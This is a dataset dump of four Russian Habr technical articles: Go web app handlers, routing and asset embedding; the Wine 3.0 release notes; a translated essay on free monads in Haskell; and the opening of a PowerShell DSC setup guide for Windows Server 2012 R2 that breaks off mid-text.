text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Создание веб-приложения на Go в 2017 году. Часть 4
**Содержание**1. [Часть 1](https://habrahabr.ru/post/329582/)
2. [Часть 2](https://habrahabr.ru/post/329584/)
3. [Часть 3](https://habrahabr.ru/post/329612/)
4. **Часть 4**
В этой части я попытаюсь кратко пройтись по пропущенным местам нашего очень упрощенного веб-приложения на Go.
Обертки обработчиков HTTP
-------------------------
Немного поворчу: мне не нравится слово “middleware”. Концепция обертки существует с начала вычислений, поэтому не вижу необходимости изобретать для нее новые слова.
Но отбросим это в сторону, допустим, нам потребовалась аутентификация для определенного URL. Сейчас наш обработчик главной страницы выглядит так:
```
func indexHandler(m *model.Model) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, indexHTML)
})
}
```
Мы можем написать функцию, которая принимает `http.Handler` в качестве аргумента и возвращает (другой) `http.Handler`. Возвращенный обработчик проверяет, аутентифицирован ли пользователь, с помощью `m.IsAuthenticated()` (неважно, что конкретно там происходит) и перенаправляет пользователя на страницу входа или выполняет оригинальный обработчик, вызывая его метод `ServeHTTP()`.
```
func requireLogin(h http.Handler, m *model.Model) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if !m.IsAuthenticated(r) {
http.Redirect(w, r, loginURL, http.StatusFound)
return
}
h.ServeHTTP(w, r)
})
}
```
С учетом этого, регистрация обработчика теперь будет выглядеть так:
```
http.Handle("/", requireLogin(indexHandler(m), m))
```
Таким способом можно обернуть обработчики в любое необходимое количество слоев и этот очень гибкий подход. Все, начиная от установки заголовков до сжатия вывода, может быть выполнено с помощью обертки. Также отмечу, что мы можем передавать любые нужные нам аргументы, например, нашу `*model.Model`.
Параметры в URL
---------------
В какой-то момент нам могут понадобиться параметры в URL, например, `/Person/3`, где `3` — это идентификатор человека. Стандартная библиотека Go ничего для этого не предоставляет, оставляя эту задачу в качестве упражнения для разработчика. Программный компонент, ответственный за такую штуку, называется [Mux](https://golang.org/pkg/net/http/#ServeMux), т.е. «мультиплексор», или «маршрутизатор», и его можно заменить нестандартной реализацией. Маршрутизатор также реализует метод `ServeHTTP()`, что означает, что он удовлетворяет интерфейсу http.Handler, то есть он является обработчиком.
Очень популярным вариантом маршрутизатора является [Gorilla Mux](https://github.com/gorilla/mux). Ему можно делегировать целые пути в тех местах, где требуется больше гибкости. Например, мы можем решить, что все, от `/person` и ниже, обрабатывается маршрутизатором Gorilla, *и* мы хотим, чтобы все это еще было аутентифицировано, тогда это может выглядеть так:
```
// import "github.com/gorilla/mux"
pr := mux.NewRouter().PathPrefix("/person").Subrouter()
pr.Handle("/{id}", personGetHandler(m)).Methods("GET")
pr.Handle("/", personPostHandler(m)).Methods("POST")
pr.Handle("/{id}", personPutHandler(m)).Methods("PUT")
http.Handle("/person/", requireLogin(pr))
```
Примечание: я обнаружил, что слэши в конце важны, а правила на счет того, когда они требуются, немного запутаны.
Есть еще много других реализаций маршрутизатора/мультиплексора. Прелесть в том, что не привязываясь ни к какому фреймворку, мы можем выбрать тот маршрутизатор, который лучше всего нам подходит, или написать свой собственный (их нетрудно реализовать).
Обработка статики
-----------------
Одна из самых изящных вещей в Go — это то, что скомпилированная программа представляет собой единственный двоичный файл, а не большую кучу файлов, как это часто бывает с большинством скриптовых языков и даже с некоторыми компилируемыми. Но если наша программа зависит от статических файлов (JS, CSS, изображений и других файлов), нам нужно будет скопировать и их на сервер во время развертывания.
Мы можем сохранить эту характерную особенность — «один бинарник» — нашей программы, включив статику как часть самого двоичного файла. Для этого существует проект [go-bindata](https://github.com/jteeuwen/go-bindata/) и его племянник [go-bindata-assetsfs](https://github.com/elazarl/go-bindata-assetfs).
Поскольку упаковка статики в двоичный файл несколько выходит за пределы того, что может сделать `go build`, нам понадобится какой-то скрипт, который об этом позаботится. Лично я предпочитаю использовать проверенный и "трушный" `make`, и не так уж редко можно встретиться с «Makefile» в проекте Go.
Вот пример подходящего правила Makefile:
```
ASSETS_DIR = "assets"
build:
@export GOPATH=$${GOPATH-~/go} && \
go get github.com/jteeuwen/go-bindata/... github.com/elazarl/go-bindata-assetfs/... && \
$$GOPATH/bin/go-bindata -o bindata.go -tags builtinassets ${ASSETS_DIR}/... && \
go build -tags builtinassets -ldflags "-X main.builtinAssets=${ASSETS_DIR}"
```
Это правило создает файл `bindata.go`, который помещается в тот же каталог, где находится `main.go`, соответственно, он становится частью пакета `main`. `main.go` как-то узнает, что статические файлы встроены, — это получается с помощью трюка `-ldflags "-X main.builtinAssets=${ASSETS_DIR}"`, так мы можем присваивать значения переменным на этапе компиляции. Это значит, что теперь наш код может проверять значение `builtinAssets`, чтобы решить, что делать дальше, например:
```
if builtinAssets != "" {
log.Printf("Running with builtin assets.")
cfg.UI.Assets = &assetfs.AssetFS{Asset: Asset, AssetDir: AssetDir, AssetInfo: AssetInfo, Prefix: builtinAssets}
} else {
log.Printf("Assets served from %q.", assetsPath)
cfg.UI.Assets = http.Dir(assetsPath)
}
```
Вторая важная вещь заключается в том, что мы определяем [build tag](https://dave.cheney.net/2013/10/12/how-to-use-condition-compilation-with-the-go-build-tool) с именем `builtinassets`. Мы также сообщаем go-bindata о нем, что означает «скомпилируй меня, только когда установлен builtinassets», а это позволяет контролировать, при каких условиях необходимо компилировать `bindata.go` (который содержит нашу статику в виде кода Go).
Предварительная транспиляция JavaScript
---------------------------------------
Напоследок (по порядку, а не по важности), я хочу кратко упомянуть упаковку веб-статики. Для описания этого должным образом материала достаточно для целой новой серии статей, и это не имело бы ничего общего с Go. Но я могу хотя бы перечислить некоторые моменты.
* В принципе, вы можете пойти на уступки — установить [npm](https://www.npmjs.com/) и настроить файл `package.json`.
* Как только npm установлен, банально устанавливается компилятор командной строки Babel — `babel-cli`, который является одним из способов транспиляции JavaScript.
* Более сложный, в чем-то разочаровывающий, но в конечном счете более гибкий способ — использовать [webpack](https://webpack.github.io/). Webpack будет не только претранспиливать JS-код, но и объединит все JS-файлы в один, а также минимизирует его.
* Я был удивлен тому, насколько сложно было обеспечить функциональность импорта модулей в JavaScript. Проблема в том, что есть стандарт ES6 для ключевых слов `import` и `export`, но нет реализации, и даже Babel предполагает, что реализовывать их для вас будет кто-нибудь другой. В конце концов, я остановился на [SystemJS](https://github.com/systemjs/systemjs). Некоторое осложнение с SystemJS заключается в том, что внутрибраузерная транспиляция Babel должна быть чем-то, понятным для SystemJS, поэтому мне пришлось использовать его плагин для Babel. Webpack, в свою очередь (если я правильно понял), предоставляет свою собственную реализацию поддержки модулей, поэтому при упаковке SystemJS не нужен. В любом случае, это было довольно неприятно.
Заключение
----------
Я бы сказал, что в примере, который я описываю в этой серии из четырех частей, Go безусловно блистает, а вот JavaScript — не особо. Но как только я преодолел начальные трудности с тем, чтобы заставить все это заработать, React/JSX оказался простым и, возможно, даже приятным для работы.
На этом я, пожалуй, закончу. Надеюсь, статьи оказались вам полезными. | https://habr.com/ru/post/329622/ | null | ru | null |
# Wine 3.0 и много плюшек
На Хабре незамеченным прошел выход 3-й версии Wine — открытой реализации `Win32 API`. Трудно найти другой проект с открытыми исходниками, за исключением ядра, который бы так много значил для пользователей Linux, MacOS, FreeBSD и других POSIX-совместимых ОС. Каждый успех разработчиков Wine приводит к тому, что множество новых игр и приложений становятся доступны для пользователей Linux.
В этом плане Wine 3.0 явно не разочаровал: поддержка `Direct3D` 10 и 11, графический драйвер Android, поток команд `Direct3D`, реализован криптографический стандарт AES, новый уровень поддержки `Direct Write` и `Direct2D` — вот основные результаты. По итогам более 6000 внесенных правок произошло много интересного, включая переход дефолтной версии с Windows XP на Windows 7.
* 4586 приложений с высшим, платиновым статусом. Работают без нареканий.
* 3918 приложений с золотым статусом. При минимальных настройках и внешних DLL работают без нареканий.
Еще до выхода предыдущей значительной версии разработчики Wine объявили о переходе на новый график релизов. Вместо 1.x.y / 2.x.y. раз в год выходят сразу версии 2.0, 3.0, 4,0 и т. д.
Direct3D
--------
В новой версии реализованы значительная часть свойств `Direct3D` 10 и 11.
* Вычислительные и мозаичные или тесселяционные шейдеры.
* Потоковый вывод.
* Запрос возможностей форматов.
* Счетчики неупорядоченного просмотра.
* Буфера со структурной определенностью и побайтовой адресацией.
* Производство уровней mip-map.
* Инструкции и модификаторы интерполяций шейдеров 4-й и 5-й модели.
* Кубическая текстура.
* Бестиповые ресурсы.
* Многоуровневая обработка 3-х мерных текстур и текстурных массивов.
* Консервативный вывод и перекос в пользу глубину.
* `AppendStructuredBuffer`, `ConsumeStructuredBuffer`.
Поддержка основных контекстов `OpenGL`в `Direct3D` получила дальнейшее развитие и теперь уже используются в системах с видео-картами Intel и AMD. Пополнилась база данных распознаваемых графических карт.
Графика
-------
* В `Direct2D` теперь поддерживается отрисовка контуров и вычисление границ геометрических объектов, поддержка кистей с линейными и радиальными градиентами. Появилась совместимость с `GDI`.
* Список расширений `OpenGL` обновился до версии 4.6.
* Системная библиотека `GLU` (OpenGL Utility Library) требуется лишь при использовании обработчика `Nurbs`, а остальные функции `GLU` теперь реализованы внутри Wine.
* Новые возможности `GdiPlus`: обработка графических операций и воспроизведение большинства типов `WMF` (Windows metafile), специфичных для `GdiPus`.
* `WindowsCodecs` поддерживает кодирование форматов изображения, в том числе и палитру.
На Реддите [зафиксирован](https://goo.gl/qKqm3Y) случай установки *Photoshop CC 2018 64bit* на Linux, с помощью Wine.
Ядро
----
* По умолчания программа использует Windows 7.
* Релизована полноценная семантика именованных каналов, включая каналы с режимом обмена сообщениями.
* Добавлена поддержка `PIE` (Position Independent Executables) для исполняемых файлов Wine и запуска внешних бинарников.
* Автоматически создаются устройства с последовательным и параллельным портом. Порты могут быть переопределены через `HKLM\Software\Wine\Ports`.
* Режим безопасного поиска DLL, включен по умолчанию. Его можно отключить через ключ `HKLM\System\CurrentControlSet\Control\Session Manager`, выставив переменную `SafeDllSearchMode` равной 0.
* Режим безопасного поиска процессов, выключен по умолчанию. Его можно включить через ключ `HKLM\System\CurrentControlSet\Control\Session Manager`, выставив переменную `SafeProcessSearchMode` равной 1.
* Повышена производительность асинхронных операций I/O.
* 64-разрядные платформы получили возможность выделять области виртуальной памяти сколь угодно большого размера.
* Операции с записью в память, одновременно использующие те же самые буферы файловых I/O, работают корректно.
Пользовательский интерфейс
--------------------------
* Для новых мониторов с высоким DPI имеются: новые и лучшие курсоры мыши, `Shell Explorer`, `RichEdit` и все основные диалоги.
* DPI экрана можно пере-определить через значение параметра `LogPixels` в ветке `HKEY_CURRENT_USER\Control Panel\Desktop`.
* Режим рабочего стола умеет поддерживать более высокие разрешения с различными аспектами соотношения сторон.
* Библиотека `TWAIN` обрела поддержку диалога выбора источника сканирования.
* Устройство-независимые битовые массивы и `WMF` структуры могут храниться в `OLE Data Cache`.
* `TaskDialog`, `Internal User Interface` в `MSI`, отрисовка тем оформления посредством двойной буферизации.
* Шрифты совместимы с нововведениями `FreeType` версии 2.8.1.
* Таблицы символы перевели на стандарт Unicode 10.0.0
* Контекстная замена глифов в Uniscribe, раскладки клавиатуры *Nepali* и *Bangla (India)*.
Android
-------
* Wine можно теперь собрать как регулярный APK пакет для мобильной платформы *Android*.
* Написан полноценный графический драйвер. Вследствие ограничений оконного интерфейса Android API поддерживается лишь полно-экранный режим работы.
* Полноценный аудио драйвер.
* Реализована поддержка `OpenGL ES API`.
Интеграция с рабочим столом
---------------------------
* В `.desktop` файлах определен параметр `StartupWMClass` для привязки к исполняемому файлу Windows.
* Библиотека `Xfixes` следит за изменениями в буфере обмена, вносимыми приложениями X11.
* Компонент `RichEdit` может осуществлять вставки `WMF`.
* Добавлен протокол Program Manager `DDE`.
* Служба `HID` обнаружения PnP устройств включена по умолчанию.
* 4 версия протокола уведомлений системного трея поддерживается на macOS.
Сети и интернет
---------------
* В Web Services добавлена поддержка `TCP/UDP` приемников, а также поддержка протокола `.NET Message Format Protocol` и формата `.NET Binary Format`. Реализована поддержка приема сообщений в асинхронном режиме.
* HTML: переработан код обработчика событий, добавлено поддержка множества новых стандартных API, браузер научился понимать `MHTML`.
* .NET лучше поддерживает встроенные HTML документы.
* `WinHTTP` корректно интерпретирует атрибуты файлов cookie.
Криптография
------------
* Добавлена поддержка Rijndael, a. k. a. AES — симметричного алгоритма блочного шифрования.
* Функции криптографического хеширования реализованы собственными силами, вместо использования GNU TLS.
* Дополнительные программы `Gecko` и `Mono` проверяются с помощью алгоритма хеширования `SHA56`.
* Корневой сертификат Microsoft от 2011 г. включен в список известных сертификатов Microsoft.
D3DX 9
------
* Новая и лучшая поддержка прешейдеров.
* Поддерживается `ID3DXEffectStateManager` — пользовательский интерфейс, который позволяет пользователю установить состояние устройства от эффекта.
* Поддерживается пул эффектов для совместного использования параметров.
DirectWrite
-----------
* Поддерживаются знаки усечения замыкающей линии как в символьных, так и в текстовых режимах.
* Улучшен режим переноса строки.
* Поддержка методов равномерного и пропорционального междустрочного интервала.
* Наклонное и полужирное воспроизведение в режиме изображения битовых массивов.
* В приложениях доступна поддержка загрузки файлов шрифтов в оперативную память.
* Кэш безопасен для множественных потоков.
* Реализована оценка метрик свисания для маркировки.
Платформа ARM
-------------
* ABI с плавающей запятой по умолчанию принимает значение `softfp` для совместимости с исполняемыми файлами Windows.
* Добавлена поддержка предварительной загрузки, а также использование режима отладки ретрансляции.
И другие товарищи
-----------------
На этом обширный список новых возможностей далеко не исчерпан. Впрочем нет надобности вдаваться в дальнейшие подробности, далее винегрет из оставшихся интересных новшеств.
* Утилита `wineinstall` устарела и была удалена.
* `RegEdit` всегда показывает 64-разрядные представления реестра на 64-разрядных префиксах.
* Появилась папка `ProgramData`.
* `ODBC` обзавелся поддержкой установки SQL драйвера.
* `Kerberos Authentication Package` использует библиотеку `krb5`.
Третий Wine в числах
--------------------
Релиз состоит из 5,170,395 строк кода в 7,373 файлах. За все время было сделано 121,944 обновлений со стороны 1,480 программистов.
Со второй версии произошло 6,026 обновлений, в которых было добавлено 448,982 и удалено 216,298 строк кода.
Wine 3.1
--------
Пока я писал про Wine 3.0 оперативно выкатили более свежую версию 3.1. Вот основные возможности последней стабильной версии.
* Поддержка аутентификации с помощью Kerberos.
* Возможность перенаправления класса `Window` для `Common Controls 6`.
* Для X11 реализована поддержка визуализации ARGB.
* Для запуска DOS приложений теперь требуется `DOSBox`.
### Использованные материалы
* [Стабильный релиз Wine 3.0](http://www.opennet.ru/opennews/art.shtml?num=47934)
* [WineHQ — Wine Announcement — The Wine team is proud to announce that the stable release Wine 3.0](https://www.winehq.org/announce/3.0)
* [Релиз Wine 3.1](https://www.linux.org.ru/news/opensource/13998912)
* [Wine 3.0 Development by numbers](https://www.phoronix.com/scan.php?page=news_item&px=Wine-3.0-Development-Numbers) | https://habr.com/ru/post/348184/ | null | ru | null |
# Очисти код свободными монадами
*От переводчика:
Это вольный перевод статьи [«Purify code using free monads»](http://www.haskellforall.com/2012/07/purify-code-using-free-monads.html) Габриэля Гонзалеса, посвященный использованию свободных монад для представления кода как синтаксического дерева с последующей управляемой интерпретацией.
На хабре имеются другие статьи Габриэля — [«Кооперативные потоки с нуля в 33 строках на Хаскеле»](http://habrahabr.ru/post/195274/) и [«Чем хороши свободные монады»](http://habrahabr.ru/post/254715/).
Для прочтения этой статьи необходимо знать, что такое свободная монада и почему она является функтором и монадой. Узнать об этом можно в указанных двух переводах или в [статье, на которую ссылается сам автор](http://www.haskellforall.com/2012/06/you-could-have-invented-free-monads.html).
Все замечания переводчика выделены курсивом.
По всем замечаниям, связанным с переводом, обращайтесь в личку.*
Опытные программисты на Хаскеле часто советуют новичкам делать программы настолько [чистыми](https://ru.wikipedia.org/wiki/Чистота_функции), насколько это возможно. *Функция называется чистой, если она детерминированная (возвращаемое значение однозначно определяется значениями всех формальных аргументов) и не имеет побочных эффектов (то есть не изменяет состояние среды исполнения). В классической математике, λ-исчислении и комбинаторной логике все функции чистые.* Чистота предоставляет множество практических преимуществ:
* можно формально доказать какие-то свойства написанного кода,
* кроме того, можно легко обозревать код и сказать, что он делает,
* наконец, можно прогнать через [QuickCheck](http://hackage.haskell.org/package/QuickCheck).
Для демонстрации я буду использовать такую простенькую программу `echo`:
```
import System.Exit
main = do x <- getLine
putStrLn x
exitSuccess
putStrLn "Finished"
```
В приведённой программе, однако, имеется один недостаток: в ней смешаны бизнес-логика и побочные эффекты. В конкретном случае в этом нет ничего плохого, я всегда так пишу простенькие программы, которые могу целиком держать в голове. Впрочем, я надеюсь вас заинтересовать прикольными штуками, которые получаются, когда побочные эффекты отделены от бизнес-логики.
Свободные монады
================
Для начала, мы должны очистить нашу программу. Отделить нечистые участки от любого кода мы можем **всегда** с помощью [свободных монад](http://www.haskellforall.com/2012/06/you-could-have-invented-free-monads.html). Свободные монады позволяют разделить любую нечистую программу на чистое представление её поведения и минимальный нечистый интерпретатор:
```
import Control.Monad.Free
import System.Exit hiding (ExitSuccess)
data TeletypeF x
= PutStrLn String x
| GetLine (String -> x)
| ExitSuccess
instance Functor TeletypeF where
fmap f (PutStrLn str x) = PutStrLn str (f x)
fmap f (GetLine k) = GetLine (f . k)
fmap f ExitSuccess = ExitSuccess
type Teletype = Free TeletypeF
putStrLn' :: String -> Teletype ()
putStrLn' str = liftF $ PutStrLn str ()
getLine' :: Teletype String
getLine' = liftF $ GetLine id
exitSuccess' :: Teletype r
exitSuccess' = liftF ExitSuccess
run :: Teletype r -> IO r
run (Pure r) = return r
run (Free (PutStrLn str t)) = putStrLn str >> run t
run (Free (GetLine f )) = getLine >>= run . f
run (Free ExitSuccess ) = exitSuccess
echo :: Teletype ()
echo = do str <- getLine'
putStrLn' str
exitSuccess'
putStrLn' "Finished"
main = run echo
```
Переписанный таким образом код собирает **все** нечистые действия в функции `run`. Я предпочитаю называть этот процесс «очищением кода», потому что мы очищаем всю логику программы до чистого кода, оставляя в стороне минимальный нечистый остаток только в нашем интерпретаторе `run`.
Доказательства
==============
Кажется, мы не больно-то много выиграли от такого очищения кода, а заплатили за это удовольствие множеством строк кода *(а ещё накладными расходами памяти и времени)*. Тем не менее, теперь мы можем доказать некоторые свойства нашего кода используя [эквациональный вывод](http://www.haskellforall.com/2013/12/equational-reasoning.html) *(equational reasoning — вывод через эквивалентные преобразования)*.
Например, всякий, читающий это, наверняка заметил очевидный баг в исходной программе `echo`:
```
import System.Exit
main = do x <- getLine
putStrLn x
exitSuccess
putStrLn "Finished" -- ой-ой!
```
Последняя команда никогда не будет исполнена… или всё же будет? Как бы это доказать?
Вообще-то мы не можем доказать, что последняя команда никогда не будет выполнена, потому что **это не так**. Автор модуля `System.Exit` мог бы запросто изменить определение `exitSuccess` на
```
exitSuccess :: IO ()
exitSuccess = return ()
```
Эта программа по-прежнему проходит проверку типов, но теперь она также успешно печатает `Finished` в консоль.
А вот для нашей очищенной версии мы можем доказать, что любая команда после `exitSuccess'` никогда не будет исполнена:
```
exitSuccess' >> m = exitSuccess'
```
Докажем эквациональным выводом, этим наиболее значимым профитом очищения. Эквациональный вывод предполагает, что мы можем взять любое выражение и просто подставить в определения функций компонент. Каждый шаг нижеследующего доказательства сопровождается комментарием, который указывает на конкретное функциональное определение, использованное для перехода к следующему шагу..
```
exitSuccess' >> m
-- exitSuccess' = liftF ExitSuccess
= liftF ExitSuccess >> m
-- m >> m' = m >>= \_ -> m'
= liftF ExitSuccess >>= \_ -> m
-- liftF f = Free (fmap Pure f)
= Free (fmap Pure ExitSuccess) >>= \_ -> m
-- fmap f ExitSuccess = ExitSuccess
= Free ExitSuccess >>= \_ -> m
-- Free m >>= f = Free (fmap (>>= f) m)
= Free (fmap (>>= \_ -> m) ExitSuccess)
-- fmap f ExitSuccess = ExitSuccess
= Free ExitSuccess
-- fmap f ExitSuccess = ExitSuccess
= Free (fmap Pure ExitSuccess)
-- liftF f = Free (fmap Pure f)
= liftF ExitSuccess
-- exitSuccess' = liftF ExitSuccess
= exitSuccess'
```
Обратите внимание, как на последних шагах мы перевернули равенства и перешли назад от функционального определения *(справа)* к определяемому выражению *(слева)*. Такой приём полностью допустим, поскольку, благодаря чистоте, знак равенства в Хаскелле не означает присваивание, а означает действительно равенство! Это значит, что, рассуждая о коде в терминах равенства, мы можем переводить выражения в обе стороны относительно знака равенства. Впечатляет!
**Для тех, кто слышал о λ-исчислении (от переводчика)**На самом деле равенство в Хаскеле значит не совсем равенство в традиционном понимании. В λ-исчислении есть понятие редукции — преобразования терма по определённому правилу. Формально говоря, это просто бинарное отношение на множестве термов. Терм может редуцироваться до нескольких разных термов, и эта неоднозначность обуславливает множественность стратегий редукций (энергичная — сначала редуцируется аргумент, потом выражение; ленивая — сначала всё выражение, затем аргумент по необходимости; и тому подобные). При фиксированной стратегии редукции терм либо редуцируется определённым образом до другого терма, или не редуцируется вообще никак. Последний случай называется нормальной формой терма, нами мыслится как полностью завершенное вычисление. Сами редукции порождаются какими-то правилами. Наиболее известны β- и η-редукции. В определённом смысле каждое функциональное равенство (определения функций) выражают такие же правила. Когда происходит вычисление, эти правила работают в одну сторону. Если правило замыкается на себя, происходит бесконечная рекурсия, вроде `inf = inf :: a`. Тем не менее, в метатеории мы можем взять это бинарное отношение и замкнуть по транзитивности и симметричности, получив бинарное отношение редукционного равенства. По теореме Черча—Россера редукционное равенство M=N справедливо тогда и только тогда, когда найдётся терм (не обязательно в нормальной форме) P такой, что оба терма M и N за какое-то конечное количество шагов редуцируются до общего значения P. Вот как раз о таких равенствах идёт речь в этой статье.
В равной степени важно и то, что вышеприведённое доказательство справедливо, как бы эта свободная монада не интерпретировалась. Мы можем поменять функцию `run` на любой другой интерпретатор, в т.ч. чистый, а равенство по-прежнему выполняется
```
exitSuccess' >> m = exitSuccess'
```
Это означает, что мы можем безопасно использовать его как [правило переопределения в GHC (GHC rewrite rule)](https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/rewrite-rules.html) для оптимизации прохода по нашей программе:
```
{-# RULES
"exit" forall m. exitSuccess' >> m = exitSuccess'
#-}
```
…и мы можем гарантировать, что правило будет всегда безопасно применено и никогда не будет нарушено.
Рассуждения о коде
==================
Хотелось бы доказать, что наша программа всегда выводит ту же строку, которую она получает на входе. К сожалению, это мы также не можем доказать, потому что **это не так**. Автор *(the maintainer)* функции `putStrLn` мог бы в любой момент передумать и переопределить
```
putStrLn str = return () -- худший автор в мире!
```
На самом деле, мы не можем даже доказать, что для очищенной свободной монадой версии это выполняется. Функция `run` использует тот же `putStrLn`, поэтому программа в любом случае подвержена той же угрозе бага. Тем не менее, мы всё же можем доказать кое-что о самой свободное монаде, рассматривая её через чистый интерпретатор:
```
runPure :: Teletype r -> [String] -> [String]
runPure (Pure r) xs = []
runPure (Free (PutStrLn y t)) xs = y:runPure t xs
runPure (Free (GetLine k)) [] = []
runPure (Free (GetLine k)) (x:xs) = runPure (k x) xs
runPure (Free ExitSuccess ) xs = []
```
Теперь мы можем доказать
```
runPure echo = take 1
```
используя функцию `take` из пакета `Prelude` стандарта Haskell98. Оставляю это в качестве упражнения для читателя, поскольку этот пост уже достаточно длинный.
Обратим внимание на ещё один важный момент. Исследуя `echo` сквозь призму чистого кода, мы обнаруживаем маленькую деталь, которую исходно не видели: пользователь может ничего не ввести! В этом случае наш *(последний)* интерпретатор должен возвратить пустой список, как и функция `take _ [] = []`. Эквациональный вывод принуждает нас к строгости тогда, когда простого высказывания «наша программа всегда выдаёт ту же строку, которую она получает» не достаточно. Чем больше вы работаете с подобными равенствами, тем больше совершенствуете навык рассуждения о свойствах вашего кода и обнаруживаете ошибки в ваших исходных допущениях.
В равной степени важно и то, что эквивалентные преобразования позволяют видеть вашу программу в совершенно новом свете. Мы увидели, что наша программа стала пресловутым `take 1` после пропускания через `runPure`, что значит то, что мы можем заимствовать нашу интуицию о функции `take` для понимания нашей программы и обнаружения таких коварных мелких багов.
После того, как мы выделили чистую часть кода монадой `Free` и доказали его состоятельность, он становится надёжным ядром и нам осталось только составить интерпретатор с этого момента. Так образом, пока мы не можем полностью доказать корретность всей программы, мы могли бы доказать корректность всего, за исключением интерпретатора. В той же мере важно и то обстоятельство, что мы свели интерпретатор к абсолютно минимально подверженному для атак виду, что возволяет нам держать его в голове и поддерживать вручную.
Тестирование
============
Мы не можем ничего доказать о коде, погруженном в монаду `IO`. А как бы это можно было сделать? Можно было б сказать как-то то: «если скомпилировать код, запустить программу и ввести какую-то одну строку, эта же строка будет возвращена обратно», но это на самом деле не уравнение, поэтому ничего строгого в такой фразе нет. Однако, мы можем записать её как тест к нашей программе.
К сожалению, тесты нечистого кода не масштабируются на большие и сложные программы и в тестово-зависимых ЯП написание таких тестов занимает значительную долю времени всего цикла программирования.
К счастью, мы всё же можем легко испытывать чистый код при помощи [библиотеки QuickCheck](http://hackage.haskell.org/package/QuickCheck), которая перебирает чистые утверждения и проверяет их на некорректность в полностью автоматическом режиме.
Например, положим, что вы были слишком ленивы, чтобы доказывать `runPure echo = take 1`. Мы можем вместо этого попросить QuickCheck протестировать это суждение за нас:
```
>>> import Test.QuickCheck
>>> quickCheck (\xs -> runPure echo xs == take 1 xs)
+++ OK, passed 100 tests.
```
Круто! Вы можете тестировать ваш код намного активнее, если он настолько чист, насколько возможно.
В заключение
============
Эквациональный вывод работает только для чистого кода, так что чистые участки кода служат достоверным ядром, который вы можете:
* проверить на правильность, целостность и корректность *(prove soundness)*,
* вывести свойства его поведения *(reason about behavior)*,
* активно тестировать *(aggressively test)*.
Вот почему мы всегда боремся за долю чистого кода в нашем коде и сводим к минимуму нечистые части.
К счастью, свободная монада `Free` гарантирует нам легкое достижение высокого уровня чистоты, насколько это возможно, и наимешнего количества нечистого кода. Вот почему все опытные программисты-хаскеллисты должны свободно владеть свободными монадами.
Благодарности
=============
Спасибо [KolodeznyDiver](https://habrahabr.ru/users/kolodeznydiver/) за помощь в переводе. | https://habr.com/ru/post/263959/ | null | ru | null |
# Практическое использование Desired State Configuration для Windows Server 2012 R2
*Администраторам Linux: это статья о “Puppet” для Windows, и уже есть бета-версия DSC для Linux.
Для тех, кто в теме: не будет ничего о новинках PowerShell 5.0, только о том, что доступно из “коробки” Windows Server 2012 R2.*
### Преамбула
В 2013 году с выходом Windows Server 2012 R2 компания Microsoft сообщила о появлении Powershell Desired State Configuration (DSC).
К этому моменту я более или менее представлял, что делают подобные системы для Linux (например, уже упомянутый Puppet). Поэтому, предложенные возможности мне показались недостаточными для полной автоматической настройки системы. И только недавние сообщения о готовящемся Powershell 5.0 и о новых возможностях DSC побудили меня снова обратить внимание на эту технологию.
Чтобы разобраться, я выдумал задачку попроще:
* Пусть, есть некий клиент, который хочет самостоятельно установить разработанное нами ASP.NET приложение на своем сервере. Кроме IIS, нам нужен MS SQL Server, а также требуется сделать некоторые настройки операционной системы и установить какие-нибудь важные утилиты.
Можно ли вместо инструкции по установке и настройке выдать некий конфигурационный скрипт, который сделает все что требуется на только что установленном Windows Server 2012 R2?
Для лучшего понимания этой статьи, наверное, предварительно стоит прочесть описание в блоге Microsoft — <http://habrahabr.ru/company/microsoft/blog/253497/>.
### Исходное положение
Первоначально предполагалось, что где-то у хостинг-провайдера был заказан сервер. На нем установлен Windows Server 2012 R2 и нам только что пришло оповещение с паролем администратора и ip-адресом сервера.
А мы набираем одну единственную команду, например:
```
makemagic -server new.example.com
```
и спустя какое-то время получаем готовую к употреблению систему.
К сожалению, пока это невозможно. Но у меня есть хорошая новость — это будет уже в следующей версии Windows Server 2016. Пока я пишу эту статью, описанная ниже конфигурация (естественно, без установки обновлений) накатывается на только установленный Technical Preview 3.
#### Сервер
*Если у вас есть образ Windows Server 2012 R2 с интегрированными обновлениями, который вы можете использовать — смело пропускайте этот раздел.*
В нынешней версии (2012 R2) — проблема в цепочке обновлений:
1. Одна из первых задач, которую я попробовал сделать — проверить/настроить часовой пояс. Для этого нужно установить последнее обновление часовых поясов.
2. Это обновление не устанавливается, так как требует большое обновление KB2919355.
3. Которое, в свою очередь хочет чтобы было обновление KB2975061 — это в моем случае.
Ни одно из этих обновлений недоступно для установки через Windows Update на только что установленной системе.
Поэтому есть два варианта: 1) установить все обновления через Windows Update, но это будет долго (этот процесс вполне можно выполнить позднее), или 2) поставить только пару самых необходимых.
Во втором случае делаем так: подключаемся по RDP на сервер, запускаем консоль Powershell с повышенными привилегиями и скачиваем нужные нам обновления по прямой ссылке и устанавливаем их:
```
Invoke-WebRequest -Uri http://download.microsoft.com/download/3/9/7/3971FEA1-C483-409E-BF13-219F8A6E907E/Windows8.1-KB2975061-x64.msu -OutFile .\Downloads\Windows8.1-KB2975061-x64.msu
.\Downloads\Windows8.1-KB2975061-x64.msu /quiet /norestart
Invoke-WebRequest -Uri http://download.microsoft.com/download/2/5/6/256CCCFB-5341-4A8D-A277-8A81B21A1E35/Windows8.1-KB2919355-x64.msu -OutFile .\Downloads\Windows8.1-KB2919355-x64.msu
.\Downloads\Windows8.1-KB2919355-x64.msu /quiet /promtrestart
```
После перезагрузки наш сервер будет готов к приему конфигурации.
Еще раз напоминаю, что Windows Server 2016 TP3 сразу готов к экспериментам с DSC.
#### Компьютер администратора
***Важно:** Так некоторые из вас могли пропустить предыдущий раздел: Для тестирования этого примера конфигурации любым доступным способом подключите на сервере образ MS SQL Server 2014, я выбрал Express Edition и подключил как R:.*
Должен огорчить тех, кто уже обновился до Windows 10 — есть нюансы, которые не позволят использовать созданные в этой системе конфигурации. Тоже самое относится к тем, кто поставил Powershell 5.0.
Создание и применение конфигураций выполнялось на Windows 8.1. Версия Powershell:
```
PS C:\Users\nelsh> $PSVersionTable
Name Value
---- -----
PSVersion 4.0
WSManStackVersion 3.0
SerializationVersion 1.1.0.1
CLRVersion 4.0.30319.34209
BuildVersion 6.3.9600.17400
